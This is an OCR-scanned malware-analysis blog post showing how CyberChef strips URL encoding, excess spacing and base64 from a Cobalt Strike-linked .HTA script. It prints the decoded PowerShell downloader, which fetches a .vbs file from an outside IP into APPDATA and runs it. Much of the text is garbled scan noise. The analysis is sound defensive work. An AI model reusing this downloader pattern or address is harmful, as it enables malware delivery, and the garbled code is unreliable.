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Introduction

We recently encountered a short .HTA script on Malware Bazaar that was linked to the Cobalt Strike toolkit.

The script utilises basic obfuscation that can be removed using CyberChef and a text editor. This blog will cover

our decoding process, including how to decode the following obfuscation methods

* Base64
e URL Encoding

¢ Excessive Spacing
Original File
The file used for this analysis can be found on Malware Bazaar at the following link.
2807199adde4730e5e89c5f0ed3d48380dac746a44fale5fedcad186743a97¢0
Analysis

The .HTA file in it's initial state contains a small amount of HTML followed by a large batch of URL encoded

characters.

The first step to decoding the URL encoded content is to use a tool like CyberChef and the URL Decode

operation.

As can be seen below, this decodes the content but reveals another layer of URL encoding.
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Recipe Bl F  nput +0O3@ =

(Script Language="Javascript'>

URL Decode Qn

%63%?2‘69%70%74%612 % : A4%AFRA %25k3 3545
XZS%]WleSX)JM)%SDXESZM%1%25%32%]6%68%74%?4%?9%2I}X()S%?1%75%69'{?6%25%)3%44%25%323]2%58%2D%55
%A1%20%A 3X6FXEDL7OX61%74%60%62X6CL65K25%32%3 2K 25%32%30X6 IX6F XGEL 7ANESLEEL TAX25%33%XA4%25%32%32% a9
%ASK25%33XAARASLEDNT SHECHE 1K TAX65LA0RASHIBN2 5323 2X25%3 23004253 INASK25KIONA1%25%3 %4 IX68X TALED
%6CH25%33%5%25% 301253 3%43%6 206F K64k 79K 2 5833058258 30%A1%2 553 303K 53%4 385 20a 0K 50K 54X 25K 32030
X5ALSIETOXE5EISLIINAAI5EI 2N I2N5ALE5XSBRT AN FLT6XA2%T IXAIXS2HE0LSONTAX 25K IILI2N2SIIXASH2SKI6LA1
KAAXARADK25K 320300 25%3 230K 25K 3 2K 3002 5K 32X I0N25X 3203002 5% 32X 30X 25%3 2K 30K 25X 32N 30X25K32%30X25%32 «

e 105818 = 8 Tr mme mytes 4 L

Output 4. BO@::

<script Language='Javascript’>

<lan

ducunent,writ‘i(unescape( ‘¢script language=JavaScriptsm="%3CX2100CTYPEX20htm1%X3EROA l
%3CmetaX2ehttp-equlv. -UA-Compatible; conten mulate m

XIEXOAXIChodyRIEXGARICSCRIPTE2OTYpeXIDX2 2 TaXt /vBSCRIPLE2 2XIEXOADTME20% 20X 20X 20X 20X 20X 20X 20X 20 20
k20%20k20%20%20%20% 205208 205 20% 20X 20K 20K 20X 20K 20K 205 20K 205 20% 20X 20K 20K 20K 20K 20K 20X 20K 208 20K 20% 20
%20%20%20%20%20%20%260%20%20%20%20% 20X 26%20% 20X 20%20% 20X 2020 26X 20K 20% 20X 0% 20%20%20%20%20% 20%20
k2ekzekze%2e% 20X 0k20%20% 0% 200 20% 20% 20% 20% 20X 2ok 20X 20X 20X 2% 20X 20 20% 20% 200 20N 20N 20K 20X 20K 20520
20X 20%20%20%20%20%2 20%21 20%20%20%20% 20 v 20%20%20
%20%20%20%20%20% 200 20%20% 207 20% 20% 20 20% 20% 20 207 20% 200 26% 20% 20X 2074 20% 20K 20% 204 20% 20% 20%20% 20% 20
k20%20%20%20%20%20% 20%20% 205 20% 20X 20K 20K 20X 20K 20% 205 20K 205 20% 20X 20K 20K 20X 20K 20
%20%20htNXsxCQoquof sSUERMWMChLE JXAWPXILQAWSRSUHPLNXVCWIOkkZ jjQLwolHDUCSEEWDRVBPFALDEWTX20%K 20
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2 0% 20%20% 20X 205 20% 26X 20%20% 201 20X 20%20%20%20%20% 20520

The second layer of URL encoding can be resolved with another URL Decode operation.
Applying the filter again removes the last of the URL encoding.

Recipe BEE nput + O3 8=

<Script Language='Javascript’>

o n e P BUAR P

document .write(unescape( ' ¥3CK73%63%72%69% 70%74% 20860 X616 EX67X7 5X61X6 TR65X3DRAAN6 1K 76%61%53

URL Decode @ n H63XT 260X TOXTANIENEDRIDN2TA25 I XA 25K I 2N I1XAANAF XA IX54X50X 50TA5X 252 12X I0N6 B 7AXEDNGCE 25X IXA5
K25%30%41%25%3 304 3IXEDXE5RTANG1 KI5 X3 2N 30X6 BHTAX7AX 7K 20K65%87 14 T5R60K 76X 25K 3 3KAAX 253 2K 3 2X58%2DK55
HA1X20%4 IX6FXO0KTOXE1 KT AREIR62HEC 65X 25K 2XI2X25%3 2X38%6IROFRCER ARG SHOERTAR2 SEIINA4K25%32%32%49
HASK25%3IINAAXASRE0KTSEECRE 1R TAXESRALASKIBA25XI 2% 3 24 25K 32X 30K 2553 IASTISRIONA 1X25%3 INA IX6BXT4%60
H6CX25%33XA5X25%38LA1%25%33XAIU6IUGFL6AXTOKISKIINA5K25K30NA 1425X33XA XS INAIUS 20X S0U5AX25%3 2430
HSAX59%76X65X25%3IMAAXSKITAIASANGSKSBLT AN 2FR76%4 207 INAIXS 20 60K50%74%25%3 23 225K 3 3XASK25%30%41
HAATASRADN 2503 2% 30K 2583 2% 30025324 30% 25X 3 2% 306 25% 3 24 30K 25%3 203082503 283002543 2% 30%2 5% 320 30025%32 «

- 105810 = 8 Tr fom Bytes 4= LUF

Output B0m:

<Script Languages="Javascript'>

<l

document.write(unescape('<script language=lavascript>m="<IDOCTYPE himl>
<meta http-equiv="X-UA-Compatible” content="IE=EmulatelEs" >

<html >

<body>

<SCRIPT T¥pe="TeXt/vBsCRIPt">

DIM

~
URL Decode

~

hthxsxCQoquofsUgRMAMChLE XAWPxR ILGAWSRSUHPLNXVoWIOkkZ § JQLWo 1HDUCSEEWDRVBPFALDEIWT

The content can now be moved back to a text editor for additional analysis.

Although the script is removed of URL encoding, the script now employs blobs of spaces to hinder analysis. This
can be seen in the screenshot below.
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Language=

ument.write (un

z2fSjfFzgdmtajrZfmqlnneuyPdOGSMzxHKRWYdBI qFSO1gSNBIdVZQmMFUZPrsCGbSVFKOFUVLS1ZZp Lots of strange spacing

seT

htNXsxCQog: MWMChLE 3> JLgA CSEEWbRVBPFAlDeWI

CReaTEoBjEcT

The spacing can be removed manually by highlighting and deleting, but a more efficient means is to use a regular

expression to remove occurrences of two or more whitespace characters \s

By performing a search and replace with the \s\s+ query, we can see the excessive spacing is highlighted and

matched correctly.

IDOCTYPE html>

Qoquofsug IChLEFXAWpxILg

FzgdMtajrZfmgInneuyPdOGSMzxHKRWVABIqFS01gSNBI

'cwlOkkZjjQLwolHDUCSEEWbRVBPFALDeWI

CReaTEoBjECT

By specifying a replace value of a single space, the content can be cleaned up significantly.

The script content can now fit easily into a single screenshot.
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Language=

document.write unescape

http-equi

% <23 QLWO1HDUCSEEWBRVEPFALD!
fFzgdMtajrZfi z K qfso. N IFUzP fKOfuvLSlzz
htN; QoquofsUgR JXAWpS S jQLwolHDUCSEEWbRVBPFALDeWI
zfSjfFzgdMtajrZfmginne zxHK qfsOlg QmMFUZPrsCGbSvfKOfUVLS1zzp
DEVICECREdEntIALDEpLOYMENt - .eNCOdINg]' [ChAR]@X3a [ChaR]@x3A 'utF8.GeTString([s
58 'frOmbAsE64sTrInG(" [CHAr

c BICART
gICAgYUFFec2FyWCxIbnRQAHIgICAEICAET!
AgICAgICAgICAgICAgICAgICICU3hruvdi

¢1KDAsImh@dHAGLY 9tb3 luZ2xvdmVyLnZ.
tzVGFSAC1TbGVIUCEZK VCAgICAgICAEICAICAgICAEICAGICAEICAEICAGIRFT)
u MwMChLE] JLgAWS
Chril(&H25) & € ) & Chri(&
& Chri(&H2F c 3) & Chri
8H2@ 2fSjfFz i 3 ! ¢ E SET
htN; A j

SeLF.CLoSe

A large blob of base64 content can be seen in the resulting content. This is alongside the key giveaway of

frombase64string with random upper and lower casing.

gICAgICAgICAgICARICBhZGY
SW1wb3J@KCIVUm 4UZGXMI
gIENGYXITZXQgPSBDaG! ( > 1BVUkxEb3dubGShZFRVRm]s!
CAGICAgIH1yT1pLTARWYVZ 3 \ ARICARICAGICAGICBtalhwaBFOVNZilHNBemluZyAgICAEICARICAE
sdWludCAgIC gICAg y {TgICAgTCAEICA g C gICAgIGd TCAgT
dKcmUiICAgICAGICAGICAGICAGIC CAtTmFNRVNQQUN1ICAGICA
CAgICAgICAgICAgICAGICALUG RocnU7ICAGICAgICARICAGICARICAGIC AgICAKdXFhY
LjEBNCIt 5 1dG1lu dmVyLnZicyT. e
tb3JuakSnZm
run CHr
& Chr(&H43
F) & Chr(&

The base64 blob can be copied and decoded in CyberChef using From Base64

Recipe BlRE  input + 0Oz 0 =

THVXYWWIWTNLTWOC TCAR ICARTCAR TCARTCAR TCARTCAR TCAR ICAR TCASTCAR TCARTCAR ICARTCAR ICARICARTCAR TCARTCBhZG
QtVF1QZSABICABICABICARBICARICARICARICARICARICAELULITUIIUKRF ZmluSVRpT 24g ICARICAGICABICABICARBICARICAR
T ICABICARICAbRGXS SWIwb3 18K C IVUmxtb24uZGxMI iwg ICARICARTCAR ICARICAGICARICAGICARICARTENOYX I TZXQEPSBDAG
.A—Z..a-za—gﬂ‘: k4 FyU2veL 1vuakiiv ZGUpXXB1YmxpYy Bz dGFoalMgZXheZX JuTE LudF Bac i BVUkxEb3dubGohz FRvRM] sZShIbnRQAHIgICARICAg
ICAGTCARTCARTCARTCARTCAZTCAZTHLY T1pLTNRWYVASC 3Ry alWSNICARICARICAGTCARTCAETCARTCARTCARTCARICB alhwad
FOVNZiLHNGcmluZyAgICARICARICARICARICARICARICARICAZICARCGtMTWs sAWludCARICARICARICARICARICARICARICAR
Remove non-alphabet chars D Strict mode ICABICARYUFF C2FyWCX I bnROAHIZICARICARICARICARTCARICARICARTCARICARIGATSFVPAWL ITCk7 JyARICARTICARICARIC
AgICAgICAgICAGICARICAGLIWSBDUURTCARICARICARICAGICARICARTCARTICARICARICICUShrUvdKemUiTCAGICARTICARICAY
ICABICABICAGICARTCARICAL TMFNRVNQQUNIICAICARICARICARICARICARICAGICARICARICBIbHxUNK IMICARICARICAGIC
AgICAZTCAZTCAZTCARTCARTCALUGF Zc1RoCNUTTCAETCARTCARTCARTCARTCARTCARTCAETCARTCAKAXF VUL aMOtNBBT60IVS
TERvd255b2FkVGaGakix1KDAS Imh@dHAG L y8x0TguNDYUMT cAL JEBNCItb3 JuaksnZml s ZWRhAGLuZ 2xvdmvyLnZicyIsTiRFTn
YBQVBOREFUQVXtD3JuawWsnzml s ZWRhdG LuZ2xvdany LnZCUy ISMOWWK Tt ZVGFSAC1ThGVIUCEZKTT ZdGF SVCABICARICABICAR
ICABICARICARICARICARICAZT i RF TRYSQUBQRE FUQVXt b3 JuawsnZml s ZWRhdGluZ 2xvdaivyLnZCUyT

From Baseb4

e 1256 = 1 Tr faw Bytes 4= LF
Output 5 ] I—D m o
$uqallZ3KMoB add-TyPe
MeMBeRDEFinITion * [p11Tmport("URlmon.dIL",
Charset = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr
yroZKNtVaP, string mkXpkAvvb, string
prfMk,uint anESarX, IntPtr
gmHUOUiIL) ;" - nAmE "BSxkQWlire"
NaMESPACe ImlTZBL

PassThru; fuqallTZ3KMoB: : URLDownloadToFile(®, "http://198.46.178.144

» "SENV:APPDATA\morningfiledatinglover.vBS™,0,0) ;sTaRt-SleeP(3); staRrT
"$ENv:APPDATA\morningfiledatinglover.vBs”

fmorningfiledatinglover.v
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The resulting content contains more excessive spacing. The same regular expression technique as before can be

re-applied to fix this.

Below we can see the From Base64 operation and the removal of excessive spacing via regex.

Recipe
From Base64
AZa-20-5+/=
Remove non-alphabet chars
Find / Replace
REGEX ~

\sh\s+

Global match

Multiline matching

I:l Strict mode

El Case insensitive

D Dot matches all

L - (.
+ 0Oz 8=

THVXYVW W NL THICTCARTCARTCARTCARTCARTCARTCARTCARTCARTCAQTCARTCARTCARTCARTCARTCARTCARTCAETCAETCBIZG
QVFLQZSABICABTCARTCARTCARTCABTCABICARTICARTCARLULLTUIIUKRF ZmLuSVRPT 24 TCARTCARTCARTCARTCABICABICAR
ICAgICAEICdbRGXsSW1wb310KCIVUMxtb24uZGxMI Iwg ICAGTCAGTCAGTCAGTCAGTCAGTCAGTCAGTCAGT ENOYX I TZXQPSBDaG
FyU2veL 1VuakvZGUpXXB1YmxpYyBzdGF8akMgZXhezx JuTEludFBOc iBVUKxEb3dubGIhZ FRvRm1sZShIbnRQHTRTCARTCAR
TCARTCARTCARTCARTCARTCARTCARTHLYT1pL TARWYVASE IRy aWSnTCARTCARTCARTCARTCARTCARTCARTCARTCARTCBE alhwad
FOVNZiLHNGcmluZyAgICARICARICARICARICARICARICARICARLICAGEGEMTWSSAWlUdCARICARICARICARICARICARICARICAG
TCAGTCARYUFFC2FyWCxIbnRQIHIETCARTCARTCARTCARTCARTCARTCARTCARTCARTGESFVPAW] ITCK7IyARTCARTCARTCARTC
AgICAgICAICAGICAGICAGLWSBbUUETICAGICATICAGICARTCARTICARTICAGICAGICAGICICUShruvdKemUITCAGICAGICAGICAG
ICAZTCARTCARTCARTCARTCAL TMENRVNQQUNT TCARTCARTCARTCARTCARTCARTCARTCARTCARTCBIbWX UMK IMICARTCARTCARTC
AICAICARICARICARICARICALUGE e 1IROCHUZICARICARICARICARICARICARICARICARICARICAKAXF hVUlaMetNbe1601vVS
TERvA255b2FKVGIGaWxX1KDAS ImhedHAS L yBXOTEuNDYUMT cAL JEBNCItb3 JuaWsnZml sZWRhdGluZ 2xvdmvyLnZicyISTiRFTn
YEQUBQREFUQVxtb3JuawsnZml sZWRhdG1uZ 2xvdmvyLnZCUy TsMCWwK Tt 2VGFSAC1 ThGVIUCEZK Tt 2dGF SVCARTCARICARICAR
TCARTCARTCARTCARTICARICART iRFTNYEQVBOREFUQVXtb3TuaWsnZml sZWRhdGluZ 2xvdmvyLnZCUyT=

Input

me 1256 = 1 Tr fme byres 4= LF
Output % ] l—D m o
$uqauIZ3IKMoB = add-TYPe -MeMBeRDEFinITiOn '[DllImport(”URlmon.dlL”, Charset

charset.Unicode)Jpublic static extern IntPtr URLDownloadToFile(IntPtr yrOZKNtVaP,string
ok bostring obfuk pipt Jafcary Intptr omuiouilii-" _oname “Boylouirg” _MaME<Darg Tmlizel

-PassThru; $ugaUIZ3KMoB::URLDownloadToFile(@, http://198.46.178.144
/morningfiledatinglover.vbs”, "$ENy: APPDATA\morningfiledatinglover.vBs",8,0);sTaRt-SleeP(3); staRT
“$ENV:APPDATA\morningfiledatinglover. vBs™

After the spacing is removed, it becomes clear that the code is a downloader utilising the URLDownloadToFile

function.

The address of the next stage file is also clearly visible, and contains the value
http://198.46[.]178.144/morningfiledatinglover[ . Jvbs

-MeMBeRDEFinITiOn

B: :URLDow
RT “$E

Source: https://www.embeeresearch.io/decoding-a-cobalt-strike-downloader-script-with-cyberchef/

Page 5 of 5




